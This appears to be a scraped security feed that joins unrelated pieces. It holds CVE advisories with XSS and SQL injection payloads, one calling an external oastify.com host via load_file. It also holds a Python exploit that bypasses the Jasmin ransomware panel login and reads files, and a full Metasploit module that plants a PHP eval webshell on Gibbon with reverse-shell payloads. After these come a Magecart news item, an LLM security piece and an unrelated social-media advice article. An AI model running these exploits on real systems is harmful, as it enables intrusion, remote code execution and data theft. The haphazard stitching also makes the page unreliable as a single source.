DerbyNet version 9.0 suffers from a cross site scripting vulnerability in photo-thumbs.php.

CVE ID: CVE-2024-30925

Description:  
A Cross-Site Scripting (XSS) vulnerability exists in DerbyNet version 9.0, specifically within the `photo-thumbs.php` component. This issue enables a remote attacker to execute arbitrary code through the improper handling of the `racerid` and `back` parameters. The vulnerability arises because the application dynamically generates URLs for navigation without adequately sanitizing these parameters, thus allowing the injection of malicious scripts.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: photo-thumbs.php

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The XSS vulnerability can be exploited through manipulation of the `racerid` and `back` parameters in the URL. Examples of such manipulation include:  
- http://127.0.0.1:8000/photo-thumbs.php?repo=head&racerid=</script><script>alert(1)</script>  
- http://127.0.0.1:8000/photo-thumbs.php?back="><script>alert(1)</script></div>

These URLs demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 photo-thumbs.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in checkin.php.

CVE ID: CVE-2024-30924

Description:  
A Cross Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, specifically within the `checkin.php` component. This vulnerability allows remote attackers to execute arbitrary code due to improper handling of the `order` URL parameter. The flaw lies in the way the `order` parameter is embedded directly into a JavaScript variable assignment without adequate sanitization or encoding, making it possible to inject scripts.

Vulnerability Type: Cross Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: checkin.php

Attack Type: Remote

Impact: Code execution is possible as a result of this vulnerability.

Attack Vectors:  
The XSS vulnerability can be exploited by manipulating the `order` parameter in the URL. For example:  
- `http://127.0.0.1:8000/checkin.php?order=</script><script>alert(1)</script>`  
- `http://127.0.0.1:8000/checkin.php?order=';alert(1);//`

These attack vectors demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 checkin.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in photo.php.

    CVE ID: CVE-2024-30921Description:A Cross-Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, specifically affecting the photo.php component. This vulnerability allows remote attackers to execute arbitrary code via crafted URLs, without requiring authentication.Vulnerability Type: Cross-Site Scripting (XSS)Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: photo.phpAttack Type: RemoteImpact: Code executionAttack Vectors: The vulnerability can be exploited by navigating to a specially crafted URL such as:- http://127.0.0.1:8000/photo.php/<img src=x onerror=alert(1)>This method allows the attacker to inject arbitrary JavaScript that will be executed in the context of the victim's browser.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 photo.php Cross Site Scripting

Seo Panel version 4.7.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Seo Panel 4.7.0 Reflected XSS# Exploit Author: Arzu DEMÝREZ# Date: 05.03-2024# Vendor Homepage: https://www.seopanel.org/# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.7.0# Version: Seo Panel 4.7.0-Description: A cross-site scripting (XSS) issue in the SEO admin login panel version 4.7.0 allows remote attackers to inject JavaScript.- used:x" onmouseover=alert(document.cookie) x="Review Of Analysis:Ýn archive.ctp.php file include search_form and search_name input load on that script at line 71 as<a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>because of that an attacker if send that codex" onmouseover=alert(document.cookie) x="can exploit the victim.<form id='search_form'>    <table width="100%" class="search">        <tr>            <th><?php echo $spText['common']['Name']?>: </th>            <td>                <input type="text" name="search_name" value="<?php echo htmlentities($searchInfo['search_name'], ENT_QUOTES)?>" onblur="<?php echo $submitLink?>">            </td>            <th><?php echo $spText['common']['Period']?>:</th>            <td colspan="2">                <input type="text" value="<?php echo $fromTime?>" name="from_time" id="from_time_summary"/>                <input type="text" value="<?php echo $toTime?>" name="to_time" id="to_time_summary"/>                <script>                  $( function() {                    $( "#from_time_summary, #to_time_summary").datepicker({dateFormat: "yy-mm-dd"});                  } );                </script>            </td>        <tr>        <tr>            <th><?php echo $spText['common']['Website']?>: </th>            <td>                <select name="website_id" id="website_id"  onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 180px;">                    <option value="">-- <?php echo $spText['common']['Select']?> --</option>                    <?php foreach($siteList as $websiteInfo){?>                        <?php if($websiteInfo['id'] == $websiteId){?>                            <option value="<?php echo $websiteInfo['id']?>" selected><?php echo $websiteInfo['name']?></option>                        <?php }else{?>                            <option value="<?php echo $websiteInfo['id']?>"><?php echo $websiteInfo['name']?></option>                        <?php }?>                    <?php }?>                </select>            </td>            <th><?php echo $spText['label']['Report Type']?>: </th>            <td>                <select name="report_type" id="report_type" onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 210px;">                    <option value="">-- <?php echo $spText['common']['Select']?> --</option>                    <?php foreach($reportTypes as $type => $info){?>                        <?php if($type == $searchInfo['report_type']){?>                            <option value="<?php echo $type?>" selected><?php echo $info?></option>                        <?php }else{?>                            <option value="<?php echo $type?>"><?php echo $info?></option>                        <?php }?>                    <?php }?>                </select>                <a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>Saygýlarýmla / Best Regards,[cid:e33e203c-58cd-46ba-b1ea-f27e999dc68d]

Seo Panel 4.7.0 Cross Site Scripting

Human Resource Management System 2024 version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: hrm2024.1.0-Multiple-SQLi## Author: nu11secur1ty## Date: 04/02/2024## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The cityedit parameter appears to be vulnerable to SQL injectionattacks. The payload '+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+'was submitted in the cityedit parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.The attacker can get all information from the system by using thisvulnerability!STATUS: HIGH- Vulnerability[+]Payload:```mysql---Parameter: cityedit (GET)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BYor GROUP BY clause    Payload: cityedit=22'+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''RLIKE (SELECT (CASE WHEN (1759=1759) THEN 0x3232+(selectload_file(0x5c5c5c5c726a6564686468666a3662336a3175736a30656f696978343376396f786b6c626f7a666d3561752e6f6173746966792e636f6d5c5c656969))+''ELSE 0x28 END)) AND 'GMzs'='GMzs    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: cityedit=22'+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''OR (SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT(ELT(8880=8880,1))),0x7178626271,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'qJHK'='qJHK    Type: time-based blind    Title: MySQL > 5.0.12 AND time-based blind (heavy query)    Payload: cityedit=22'+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''AND 2124=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR1) AND 'Jtnd'='Jtnd---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/hrm-2024.1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/04/hrm202410-multiple-sqli.html)## Time spent:01:15:00

Human Resource Management System 2024 1.0 SQL Injection

Jasmin Ransomware version 1.1 suffers from an arbitrary file read vulnerability.

    # Exploit Title: Jasmin Ransomware arbitrary file read# Date: 2024-04-04# Exploit Author: @_chebuya# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware# Version: v1.1# Tested on: Ubuntu 20.04 LTS# CVE: CVE-2024-30851# Description: Jasmin Ransomware panel contains multiple SQL injections and authorization issues, allowing a remote unauthenticated attacker to read arbitrary files off the server and bypass the login# Github: https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc/tree/mainimport requestsimport argparseimport osfrom bs4 import BeautifulSoupdef get_file(jasmin_url, filepath):    response = requests.get(        f'{jasmin_url}/download_file.php?file={filepath}',        allow_redirects=False    )    return response.textdef get_keys(jasmin_url):    headers = {        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',    }    data = "username=&password='+or+1%3D1+--+-&service=login"    login_req = requests.post(f'{jasmin_url}/checklogin.php', headers=headers, data=data)    cookies = login_req.cookies    list_req = requests.get(f'{jasmin_url}/dashboard.php', cookies=cookies)    soup = BeautifulSoup(list_req.text, 'html.parser')    rows = soup.find_all('tr')    print(f"Dumping decryption keys from {len(rows)-1} victims")    for row in rows:        data = row.find_all('td')        if len(data) == 0:            continue                username = data[1].get_text()        hostname = data[0].get_text()        filepath = data[7].find('a')['href'].split("=")[1]        print(f"Decryption key for {username}@{hostname}: {get_file(jasmin_url, filepath)}")parser = argparse.ArgumentParser(description="LFD/SQLi Exploit PoC for Jasmin Ransomware panel")subparser = parser.add_subparsers(dest='subcommand')file_parser = subparser.add_parser("getfile", help="Read a file off the server")file_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")file_parser.add_argument("-f", "--file", default="c:/xampp/apache/logs/access.log", help="The file to read on the target server") # Default is the access log, deanonymize the operators!keys_parser = subparser.add_parser("getkeys", help="Get decryption keys of victims")keys_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")args = parser.parse_args()if args.subcommand != None:    target_url = args.url.rstrip("/")if args.subcommand == "getkeys":    get_keys(target_url)elif args.subcommand == "getfile":    target_file = args.file.replace("\\", "/").replace("c:", "")    target_path = os.path.join("../../../../../../../../../", target_file)    print(get_file(target_url, target_path))else:    parser.print_help()

Jasmin Ransomware 1.1 Arbitrary File Read

A remote code execution vulnerability in Gibbon online school platform version 26.0.00 and lower allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a POST request to the endpoint /modules/System%20Admin/import_run.php&type=externalAssessment&step=4. As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gibbon School Platform Authenticated PHP Deserialization Vulnerability',        'Description' => %q{          A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower          allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a          POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,          potentially resulting in complete system compromise, data exfiltration, or unauthorized access          to sensitive information.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'Ali Maharramli', # SecondX.io Research Team - discovery of the vulnerability          'Fikrat Guliev', # SecondX.io Research Team - discovery of the vulnerability          'Islam Rzayev' # SecondX.io Research Team - discovery of the vulnerability        ],        'References' => [          ['CVE', '2024-24725'],          ['URL', 'https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725'],          ['PACKETSTORM', '177635'],          ['EDB', '51903']        ],        'DisclosureDate' => '2024-03-18',        'Platform' => ['php', 'unix', 'linux', 'win'],        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => false,        'Targets' => [          [            'PHP',            {              'Platform' => ['php'],              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],              'Linemax' => 16384,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :windows_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :windows_dropper,              'Linemax' => 16384,              'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 443        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The Gibbon online school platform endpoint URL', '/' ]),      OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),      OptString.new('USERNAME', [true, 'Gibbon username to login, typically an e-mail address']),      OptString.new('PASSWORD', [true, 'Password'])    ])  end  def gibbon_login    # construct multipart login form data    form_data = Rex::MIME::Message.new    form_data.add_part('', nil, nil, 'form-data; name="address"')    form_data.add_part('default', nil, nil, 'form-data; name="method"')    form_data.add_part(datastore['USERNAME'].to_s, nil, nil, 'form-data; name="username"')    form_data.add_part(datastore['PASSWORD'].to_s, nil, nil, 'form-data; name="password"')    form_data.add_part('025', nil, nil, 'form-data; name="gibbonSchoolYearID"')    form_data.add_part('0002', nil, nil, 'form-data; name="gibboni18nID"')    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'login.php?timeout=true'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def construct_form_data(payload)    # construct multipart form data with payload    payload_len = payload.length    payload_data = "a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\x00*\x00socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";r:3;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";a:1:{i:0;a:2:{i:0;s:#{payload_len}:\"#{payload}\";s:5:\"level\";N;}}s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}"    form_data = Rex::MIME::Message.new    form_data.add_part('/modules/System Admin/import_run.php', nil, nil, 'form-data; name="address"')    form_data.add_part('sync', nil, nil, 'form-data; name="mode"')    form_data.add_part('N', nil, nil, 'form-data; name="syncField"')    form_data.add_part('', nil, nil, 'form-data; name="syncColumn"')    form_data.add_part(payload_data.to_s, nil, nil, 'form-data; name="columnOrder"')    form_data.add_part('N;', nil, nil, 'form-data; name="columnText"')    form_data.add_part('%2C', nil, nil, 'form-data; name="fieldDelimiter"')    form_data.add_part('%22', nil, nil, 'form-data; name="stringEnclosure"')    form_data.add_part("#{Rex::Text.rand_text_alpha(8..16)}.xlsx", nil, nil, 'form-data; name="filename"')    form_data.add_part('"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"', nil, nil, 'form-data; name="csvData"')    form_data.add_part('1', nil, nil, 'form-data; name="ignoreErrors"')    form_data.add_part('Submit', nil, nil, 'form-data; name="Failed"')    return form_data  end  def upload_webshell(b64_payload)    # randomize file name if option WEBSHELL is not set    @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")    # create webshell with base64 encoded PHP payload    # works for both windows and linux targets    php_payload = "echo \"<?php @eval(base64_decode(\'#{b64_payload}\'));?>\" > #{@webshell_name}"    form_data = construct_form_data(php_payload)    # upload webshell    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    res = upload_webshell(payload)    fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200    register_file_for_cleanup(@webshell_name)    # execute webshell    send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, @webshell_name),      'keep_cookies' => true    })  end  def execute_command(cmd, _opts = {})    form_data = construct_form_data(cmd)    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def check    print_status("Checking if #{peer} can be exploited.")    res = send_request_cgi!({      'method' => 'GET',      'ctype' => 'application/x-www-form-urlencoded',      'uri' => normalize_uri(target_uri.path)    })    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200    # check if target is running the Gibbon online school platform    # search for the Gibbon version on the login page    return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon')    # trying to get the version    version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/)    version_number = version[0].split('v') unless version.nil?    if version_number      if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00')        return CheckCode::Appears("Gibbon v#{version_number[1]}")      else        return CheckCode::Safe("Gibbon v#{version_number[1]}")      end    end    CheckCode::Detected  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    res = gibbon_login    fail_with(Failure::NoAccess, "Login failed with user #{datastore['USERNAME']} and password #{datastore['PASSWORD']}.") unless res && res.code == 302    case target['Type']    when :php      execute_php(payload.encoded)    when :unix_cmd, :windows_cmd      execute_command(payload.encoded)    when :linux_dropper, :windows_dropper      # don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend

Gibbon School Platform 26.0.00 Remote Code Execution

The infamous payment-skimmer cybercrime organization is exploiting CVE-2024-20720 in Magento for a novel approach to stealing card data.

Source: Tawan Chaisom via Alamy Stock Photo

Magecart attackers have a new trick: Stashing persistent backdoors within e-commerce websites that are capable of pushing malware automatically.

According to researchers at Sansec, the threat actors are exploiting a critical command injection vulnerability in the Adobe Magento e-commerce platform (CVE-2024-20720, CVSS score of 9.1), which allows arbitrary code execution without user interaction.

The executed code is a "cleverly crafted layout template" in the layout\_update database table, which contains XML shell code that automatically injects malware into compromised sites via the controller for the Magento content management system (CMS).

"Attackers combine the Magento layout parser with the beberlei/assert package (installed by default) to execute system commands," Sansec said in an alert. "Because the layout block is tied to the checkout cart, this command is executed whenever <store>/checkout/cart is requested."

Sansec observed Magecart (a long-running umbrella organization for cybercrime groups that skim payment card data from e-commerce sites) using this technique to inject a Stripe payment skimmer, which captures and exfiltrates payment data to an attacker-controlled site.

Adobe resolved the security bug in February in both Adobe Commerce and Magento, so e-tailers should upgrade their versions to 2.4.6-p4, 2.4.5-p6, or 2.4.4-p7 to be protected from the threat.

**About the Author(s)**

Magecart Attackers Pioneer Persistent E-Commerce Backdoor

Large language models require rethinking how to bake security into the software development process earlier.

Large language models require rethinking how to bake security into the software development process earlier.

Source: Chroma Craft Media Group via Alamy Stock Photo

Question: What do we really know about large language model (LLM) security? And are we willingly opening the front door to chaos by using LLMs in business?

Rob Gurzeev, CEO, CyCognito: Picture it: Your engineering team is harnessing the immense capabilities of LLMs to "write code" and rapidly develop an application. It's a game-changer for your businesses; development speeds are now orders of magnitude faster. You've shaved 30% off time-to-market. It's win-win — for your org, your stakeholders, your end users.

Six months later, your application is reported to leak customer data; it has been jailbroken and its code manipulated. You're now facing SEC violations and the threat of customers walking away.

Efficiency gains are enticing, but the risks cannot be ignored. While we have well-established standards for security in traditional software development, LLMs are black boxes that require rethinking how we bake in security.

**New Kinds of Security Risks for LLMs**

LLMs are rife with unknown risks and prone to attacks previously unseen in traditional software development.

*   Prompt injection attacks involve manipulating the model to generate unintended or harmful responses. Here, the attacker strategically formulates prompts to deceive the LLM, potentially bypassing security measures or ethical constraints put in place to ensure responsible use of the artificial intelligence (AI). As a result, the LLM's responses can deviate significantly from the intended or expected behavior, posing serious risks to privacy, security, and the reliability of AI-driven applications.
    
*   Insecure output handling arises when the output generated by an LLM or similar AI system is accepted and incorporated into a software application or Web service without undergoing adequate scrutiny or validation. This can expose back-end systems to vulnerabilities, such as cross-site scripting (XSS), cross-site request forgery (CSRF), server-side request forgery (SSRF), privilege escalation, and remote code execution (RCE).
    
*   Training data poisoning occurs when the data used to train an LLM is deliberately manipulated or contaminated with malicious or biased information. The process of training data poisoning typically involves the injection of deceptive, misleading, or harmful data points into the training dataset. These manipulated data instances are strategically chosen to exploit vulnerabilities in the model's learning algorithms or to instill biases that may lead to undesired outcomes in the model's predictions and responses.
    

**A Blueprint for Protection and Control of LLM Applications**

While some of this is new territory, there are best practices you can implement to limit exposure.

*   Input sanitization involves, as the name suggestion, the sanitization of inputs to prevent unauthorized actions and data requests initiated by malicious prompts. The first step is input validation to ensure input adheres to expected formats and data types. The next is input sanitization, where potentially harmful characters or code are removed or encoded to thwart attacks. Other tactics include whitelists of approved content, blacklists of forbidden content, parameterized queries for database interactions, content security policies, regular expressions, logging, and continuous monitoring, as well as security updates and testing.
    
*   Output scrutiny is the rigorous handling and evaluation of the output generated by the LLM to mitigate vulnerabilities, like XSS, CSRF, and RCE. The process begins by validating and filtering the LLM's responses before accepting them for presentation or further processing. It incorporates techniques such as content validation, output encoding, and output escaping, all of which aim to identify and neutralize potential security risks in the generated content.
    
*   Safeguarding training data is essential to prevent training data poisoning. This involves enforcing strict access controls, employing encryption for data protection, maintaining data backups and version control, implementing data validation and anonymization, establishing comprehensive logging and monitoring, conducting regular audits, and providing employee training on data security. It's also important to verify the reliability of data sources and ensure secure storage and transmission practices.
    
*   Enforcing strict sandboxing policies and access controls can also help mitigate the risk of SSRF exploits in LLM operations. Techniques that can be applied here include sandbox isolation, access controls, whitelisting and/or blacklisting, request validation, network segmentation, content-type validation, and content inspection. Regular updates, comprehensive logging, and employee training are also key.
    
*   Continuous monitoring and content filtering can be integrated into the LLM's processing pipeline to detect and prevent harmful or inappropriate content, using keyword-based filtering, contextual analysis, machine-learning models, and customizable filters. Ethical guidelines and human moderation play key roles in maintaining responsible content generation, while continuous real-time monitoring, user feedback loops, and transparency ensure that any deviations from desired behavior are promptly addressed.
    

**About the Author(s)**

Dark Reading

The Edge is Dark Reading's home for features, threat data and in-depth perspectives on cybersecurity.

You May Also Like

How Do We Integrate LLMs Security Into Application Development?

By Owais Sultan
If used correctly, social media can not only provide businesses with a fantastic (generally free) chance to market…
This is a post from HackRead.com Read the original post: How your business should deal with negative feedback on social media

If used correctly, social media can not only provide businesses with a fantastic (generally free) chance to market their product or services but also, just as importantly, allow them to engage with customers. However, as anyone with any experience on social media will testify, not all the interactions to be had are positive ones.

In this article, limited company formation specialists 1st Formations (who you will find on all major social media platforms) provide a roadmap for how your business should handle any negative feedback that you receive on social media. Let’s get started.

You can’t deal with negative feedback or comments about your business if you don’t see what’s being said. You need to be diligent in ensuring that you catch everything.

Whilst the platforms’ in-built alerts are relatively reliable, it’s still easy to miss important comments, or simply lose track of what’s being said. To ensure that you see everything, use your social media management system (if you’re not yet using one, you really should be) to track all the words and phrases connected to your brand, even if they’re not officially used by you.

This way, if everything has been set up correctly, you will be notified immediately whenever your name is mentioned. This will allow you to keep on top of any discussions that are happening.

Furthermore, you should also set up Google Alerts to cover the feedback that is being shared away from social media on forums and other web pages.

****Deal with the feedback quickly****

Your time is of course precious, and social media activity won’t always be at the top of your to-do list. However, when negative feedback does come through, whether this is a tweet or a comment on Instagram or YouTube, you must respond as soon as you can (within business hours) to prevent the issue from escalating.

If there is a specific issue, rather than a piece of fleeting feedback that you can address there and then, this does not mean that you need to fix the problem immediately. Request all the information that you need (if it’s an existing customer, we’re talking name, order reference, and contact information), and clearly state that you’re looking into the matter and will get back to them shortly.

Providing an exact timeframe in which you will be back in touch is a good idea, but make sure that the deadline you set yourself is realistic, as the customer chasing you down for an update could cause further damage.

Then, when you do get a chance, work with your team and the individuals involved to reach a satisfactory resolution. Hopefully, this isn’t a drawn-out process, but when it is a complicated matter, make sure you provide the individual with regular updates, being sure to thank them for their understanding.

****Take it offline****

The ideal scenario is to take the issue away from public view as soon as possible. At the same time as requesting the information you need to investigate any issue, explain to the individual that you will be in contact with them through email or if convenient, telephone.

This is a genuinely more efficient approach to resolving any issues, rather than the stagnated back and forth that social media provides, and makes sure that the situation isn’t played out in a public forum where reputational damage can be made.

This will not always be convenient for the person you are engaging with. They will generally understand that you will want to tackle the situation in private. When this occurs, simply explain how corresponding away from the social media platform will help resolve the issue quicker. This won’t always work but you must try.

****Remain professional at all times****

Ryanair is perhaps the well-known purveyor of the snarky social media response to less-than-happy customers. This approach works well for them because they’re a household name and it’s very much ‘on-brand’. However, this stance is probably not appropriate for you and your business.

> you may only look out of one https://t.co/goZsZ9zkqb
> 
> — Ryanair (@Ryanair) April 2, 2024

When less than positive comments are made, you must remain professional. Under no circumstances should you partake in an online argument with anyone – even if what they say is wholly incorrect and paints your operation poorly.

Take on an apologetic tone, even if you are in the right. Thank them for the feedback, ask what a satisfactory resolution for them would be, and then do what you can, within your protocols (don’t deviate from these just because it’s on social media) to fix any issues that have arisen.

State your case, if a problem has occurred because the customer has misunderstood something or has not provided the correct information required for their order to be processed, explain this – but again, in a professional manner.

****Know when enough is enough****

When negative feedback oversteps the mark and turns into harassment, you should take necessary action. Certain behaviours do not become acceptable just because it’s aimed at a business account rather than a personal account.

If you are being targeted, you should publicly state your business’s policies regarding harassment. If the abuse continues, you should ignore the comments (admittedly this is easier said than done) and then consider muting or blocking the account in question.

If it continues, you should report the user to the social platform, and if the abuse is extreme, also to the police.

****Try to stay calm****

Anyone who has managed social media activity for business purposes will confirm just how easy it is to take negative feedback personally. Regardless of who is right and who is wrong, it is an upsetting experience. This feeling is magnified if the business that is being criticised is your own, as it does feel personal.

This is completely understandable. Nonetheless, this should not seep into how you deal with the feedback. If you are emotionally affected by what is being said, take the necessary mindful steps to calm and relax yourself, but do not allow this to cloud how the issue is dealt with.

As we stressed above, you must remain polite and professional. If you feel that you are unable to do this, move away from the situation for some time or see if there is someone else on your team who can work to resolve the problem accordingly.

****Listen to the feedback****

No business is perfect. Rather than baulk at the idea of negative feedback coming your way, always try to see these as an opportunity to fix issues and ultimately improve your business.

Once a specific issue has been resolved, do what you can to make sure that it doesn’t happen again. In customer-facing roles, it can be easy to lose empathy for the customer, and simply assume every problem is because of a misunderstanding or basic error on their part. It’s their problem, not yours. This is a big mistake.

Your business must have a joined-up approach. If you have a large team, when situations do occur, ensure that these are shared with all the appropriate people so that permanent fixes can be reached.

****Remember, it’s a branding exercise****

Every interaction you have online is a chance to demonstrate to customers and potential customers just how great your brand is, and how much you appreciate your customers.

When a piece of customer feedback has led to an update in how your service is delivered, shout about this. Publicly thank the customer in question, send them a gift, and ask other customers for their feedback and improvement suggestions.

One of the major benefits of using social media for business is that it allows you to project your brand’s personality. This is done through the tone of voice that you use, the content you share, and more so than anything – the interactions that you have with people.

Whilst negative feedback might not be at the top of your list when it comes to the type of engagement you have, it does provide you with the perfect opportunity to change someone’s impression of you. When handled correctly, even the most scathing reviews can be used to your business’s advantage.

****So, there you have it** **

That’s how your business should deal with negative feedback on social media.

Whilst you’ll never be able to stop these comments coming in (without ceasing all social media activity, which is not advisable for a small business), follow the advice covered in this article to ensure feedback is dealt with in a way that protects your business’s reputation and even enhances it. Thanks for reading.

Tag

#web